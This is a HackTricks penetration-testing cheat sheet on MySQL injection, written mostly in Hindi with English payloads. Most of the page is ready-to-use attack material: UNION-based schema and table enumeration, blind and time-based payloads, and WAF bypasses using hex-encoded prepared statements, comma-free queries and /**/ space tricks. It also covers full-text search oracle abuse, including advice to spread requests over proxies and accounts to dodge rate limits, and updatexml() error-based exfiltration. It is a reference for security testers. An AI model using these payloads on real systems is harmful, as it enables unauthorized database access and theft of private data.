MySQL injection

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

टिप्पणियाँ

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

दिलचस्प फ़ंक्शन

Mysql की पुष्टि:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

उपयोगी फ़ंक्शन

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

सभी injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

प्रवाह

याद रखें कि “आधुनिक” MySQL संस्करणों में आप “information_schema.tables” को “mysql.innodb_table_stats के स्थान पर प्रतिस्थापित कर सकते हैं (यह WAFs को bypass करने में उपयोगी हो सकता है।)

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

केवल 1 मान

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

कॉलमों की संख्या पता करें

एक सरल ORDER का उपयोग करके

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

यहाँ विभिन्न विकल्प जानें ताकि abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Executing queries through Prepared Statements

जब stacked queries की अनुमति हो, तो यह संभव हो सकता है कि आप उस query की hex representation को SET का उपयोग करके एक variable में असाइन करके WAFs को bypass कर सकें, और फिर PREPARE और EXECUTE MySQL statements का उपयोग करके अंततः वही query execute करवा सकें। कुछ इस तरह:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

अधिक जानकारी के लिए कृपया this blog post.

Information_schema विकल्प

ध्यान रखें कि “आधुनिक” संस्करणों में MySQL आप information_schema.tables को mysql.innodb_table_stats या sys.x$schema_flattened_keys या sys.schema_table_statistics के स्थान पर प्रतिस्थापित कर सकते हैं

MySQLinjection बिना कॉमा के

किसी भी कॉमा का उपयोग किए बिना 2 कॉलम चुनें (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

column name के बिना मान प्राप्त करना

यदि किसी बिंदु पर आप table का नाम जानते हैं लेकिन table के अंदर columns के नाम नहीं जानते, तो आप यह पता करने की कोशिश कर सकते हैं कि कितने columns हैं, कुछ इस तरह चलाकर:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

मान लीजिए कि 2 कॉलम हैं (पहला कॉलम ID है) और दूसरा कॉलम flag है, आप flag की सामग्री को एक-एक करके bruteforce करने की कोशिश कर सकते हैं:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

कुछ एप्लिकेशन उपयोगकर्ता इनपुट को sscanf("%128s", buf) जैसे functions से sanitise या parse करती हैं, जो पहले space character पर रुक जाती हैं
क्योंकि MySQL /**/ sequence को comment and as whitespace दोनों के रूप में मानता है, इसे payload से सामान्य spaces पूरी तरह हटाने के लिए इस्तेमाल किया जा सकता है जबकि query syntactically valid बनी रहती है।

उदाहरण: time-based blind injection जो space filter को bypass करता है:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

जिसे डेटाबेस इस रूप में प्राप्त करता है:

' OR SLEEP(5)-- -'

यह विशेष रूप से तब उपयोगी होता है जब:

  • नियंत्रण योग्य बफ़र आकार में सीमित हो (उदा. %128s) और स्पेस इनपुट को समयपूर्व समाप्त कर देंगे।
  • HTTP headers या अन्य फ़ील्ड्स के माध्यम से इंजेक्ट करना जहाँ सामान्य स्पेस हटाए जाते हैं या वे सेपरेटर के रूप में उपयोग होते हैं।
  • INTO OUTFILE primitives के साथ संयोजन में पूर्ण pre-auth RCE प्राप्त करने के लिए (देखें MySQL File RCE section)。

MySQL इतिहास

MySQL के अंदर टेबल पढ़ते समय आप अन्य निष्पादन देख सकते हैं: sys.x$statement_analysis

संस्करण विकल्पs

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE ऑपरेटर दुरुपयोग (WOR)

यह क्लासिक SQL injection नहीं है। जब डेवलपर्स उपयोगकर्ता इनपुट को MATCH(col) AGAINST('...' IN BOOLEAN MODE) में पास करते हैं, MySQL उद्धरणित स्ट्रिंग के अंदर Boolean सर्च ऑपरेटर्स का एक समृद्ध सेट निष्पादित करता है। बहुत से WAF/SAST नियम केवल quote breaking पर ध्यान केंद्रित करते हैं और इस सतह को मिस कर देते हैं।

Key points:

  • ऑपरेटर उद्धरण के अंदर मूल्यांकित होते हैं: + (शामिल होना चाहिए), - (शामिल नहीं होना चाहिए), * (ट्रेलिंग वाइल्डकार्ड), "..." (सटीक वाक्यांश), () (समूहबद्ध करना), </>/~ (वज़न)। MySQL docs देखें।
  • यह स्ट्रिंग literal को तोड़े बिना मौजूदगी/अनुपस्थिति और प्रीफ़िक्स परीक्षण की अनुमति देता है, उदाहरण के लिए AGAINST('+admin*' IN BOOLEAN MODE) यह जाँचने के लिए कि कोई भी term admin से शुरू होता है या नहीं।
  • oracles बनाने के लिए उपयोगी, जैसे “does any row contain a term with prefix X?” और prefix expansion के जरिए hidden strings को enumerate करने के लिए।

Example query built by the backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

यदि एप्लिकेशन यह निर्भर करते हुए अलग प्रतिक्रियाएँ लौटाता है कि result set खाली है या नहीं (उदा., redirect बनाम error message), तो वह व्यवहार एक Boolean oracle बन जाता है जिसका उपयोग hidden/deleted titles जैसे private data को enumerate करने के लिए किया जा सकता है।

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: यदि backend प्रति शब्द 1–2 trailing characters को regex जैसे (\b.{1,2})(\s)|(\b.{1,2}$) के माध्यम से ट्रिम करता है, तो prefix*ZZ सबमिट करें। cleaner ZZ को ट्रिम कर देता है लेकिन * को छोड़ देता है, इसलिए prefix* बच जाता है।
  • Early-break stripping: यदि कोड हर शब्द से operators को हटाता है लेकिन किसी भी token की length ≥ min length मिलने पर प्रोसेसिंग रोक देता है, तो दो tokens भेजें: पहला एक junk token है जो length threshold पूरा करता है, दूसरा operator payload लेकर आता है। उदाहरण के लिए: &&&&& +jack*ZZ → cleaning के बाद: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 का मतलब & है, %2B का मतलब + है। अंतिम में मौजूद xD (या कोई भी दो अक्षर) को cleaner द्वारा ट्रिम किया जाता है, {FUZZ}* संरक्षित रहता है।
  • एक redirect को “match” मानें और एक error page को “no match” मानें। oracle observable बनाए रखने के लिए redirects को auto-follow न करें।

Enumeration workflow:

  1. Start with {FUZZ} = a…z,0…9 to find first-letter matches via +a*, +b*, …
  2. For each positive prefix, branch: a* → aa* / ab* / …. Repeat to recover the whole string.
  3. Distribute requests (proxies, multiple accounts) if the app enforces flood control.

Why titles often leak while contents don’t:

  • कुछ apps केवल titles/subjects पर एक प्रारंभिक MATCH के बाद ही visibility checks लागू करते हैं। यदि control-flow filtering से पहले “any results?” परिणाम पर निर्भर करता है, तो existence leaks हो जाते हैं।

Mitigations:

  • यदि आपको Boolean logic की जरूरत नहीं है, तो IN NATURAL LANGUAGE MODE का उपयोग करें या user input को literal के रूप में treat करें (escape/quote अन्य modes में operators को निष्क्रिय कर देता है)।
  • यदि Boolean mode आवश्यक है, तो tokenization के बाद हर token के लिए सभी Boolean operators (+ - * " ( ) < > ~) को strip या neutralize करें (कोई early breaks न करें)।
  • MATCH से पहले visibility/authorization filters लागू करें, या responses को unify करें (जब result set empty हो बनाम non-empty हो तब constant timing/status रखें)।
  • अन्य DBMS में समकक्ष सुविधाओं की समीक्षा करें: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS भी quoted arguments के अंदर operators को parse करते हैं।

Notes:

  • Prepared statements semantic abuse of REGEXP या search operators के खिलाफ सुरक्षा प्रदान नहीं करते। .* जैसा input quoted REGEXP '.*' के अंदर भी permissive regex बना रहता है। allow-lists या explicit guards का प्रयोग करें।

Error-based exfiltration via updatexml()

When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:

dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}

updatexml() एक XPATH त्रुटि उठाता है जो जोड़कर बनाई गई स्ट्रिंग को निहित करता है, इसलिए भीतर के SELECT का मान त्रुटि प्रतिक्रिया में delimiters (0x7e = ~) के बीच दिखाई देता है। पंक्तियों को क्रमशः प्राप्त करने के लिए LIMIT 1 OFFSET N को iterate करें। यह तब भी काम करता है जब UI “boolean” परीक्षणों को मजबूर करता है क्योंकि त्रुटि संदेश फिर भी प्रकट होता है।

अन्य MYSQL injection guides

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें